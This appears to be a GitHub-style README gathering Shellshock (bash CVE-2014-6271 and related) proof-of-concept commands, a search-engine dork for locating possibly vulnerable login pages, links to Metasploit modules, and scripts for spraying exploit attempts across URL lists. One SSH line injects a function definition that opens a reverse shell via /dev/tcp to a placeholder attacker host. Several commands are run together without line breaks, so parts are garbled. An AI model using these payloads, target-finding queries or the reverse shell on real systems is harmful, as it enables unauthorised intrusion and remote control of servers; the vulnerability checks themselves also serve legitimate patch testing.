Collection of Proof of Concepts and Potential Targets for #ShellShocker
Wikipedia Link: https://en.wikipedia.org/wiki/Shellshock_%28software_bug%29#CVE-2014-7186_and_CVE-2014-7187_Details
Please submit a pull request if you have more links or other resources
Speculation:(Non-confirmed possibly vulnerable)
inurl:inurl:/dana-na/auth/url_default/welcome.cgi
If you know of PoCs for any of these, please submit an issue or pull request with a link.
env X='() { :; }; echo "CVE-2014-6271 vulnerable"' bash -c idwill create a file named echo in cwd with date in it, if vulnerable
env X='() { (a)=>\' bash -c "echo date"; cat echobash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo "CVE-2014-7186 vulnerable, redir_stack"(for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable, word_lineno"env X='() { _; } >_[$($())] { echo CVE-2014-6278 vulnerable; id; }' bash -c :will segfault if vulnerable
env X='() { x() { _; }; x() { _; } <<a; }' bash -c :LC_X='() { :; }; echo vulnerable' ssh foo@bar.org -o SendEnv=LC_Xssh GITOLITEUSER@VULNERABLEIP '() { ignore;}; /bin/bash -i >& /dev/tcp/REVERSESHELLIP/PORT 0>&1'
user@localhost:~$ env X='() { (a)=>\' /bin/bash -c "shellshocker echo -e \" __ __\n / V \ \n _ | | |\n / \ | | |\n | | | | |\n | | | | |\n | |__| | |\n | | \ |___|___\n | \ |/ \ \n | | |______ |\n | | | |\n | \__' / |\n \ \( /\n \ /\n \| |\n\""; cat shellshocker
/bin/bash: X: line 1: syntax error near unexpected token `='
/bin/bash: X: line 1: `'
/bin/bash: error importing function definition for `X'
__ __
/ V \
_ | | |
/ \ | | |
| | | | |
| | | | |
| |__| | |
| | \ |___|___
| \ |/ \
| | |______ |
| | | |
| \__' / |
\ \( /
\ /
\| |
## CUPS
+ Metasploit Exploit Module - [CUPS Filter Bash Environment Variable Code Injection](https://github.com/rapid7/metasploit-framework/pull/4050)
## IRC
+ Metasploit Exploit Module - [Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/xdh_x_exec.rb)
+ Metasploit Exploit Module - [Legend Perl IRC Bot Remote Code Execution](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/legend_bot_exec.rb)
## Scripts from @primalsec
+ `shell_shocker.py` - Good for interacting with a known vulnerable URL to pass commands (User-Agent Method)
+ `w3af_shocker.py` - Automates the process of running a w3af spider/shell\_shock scan (User-Agent Method)
+ `shell_sprayer.py` - Checks across a list of URLs in a file, or a single URL against a known list of cgi-bin resources (User-Agent Method)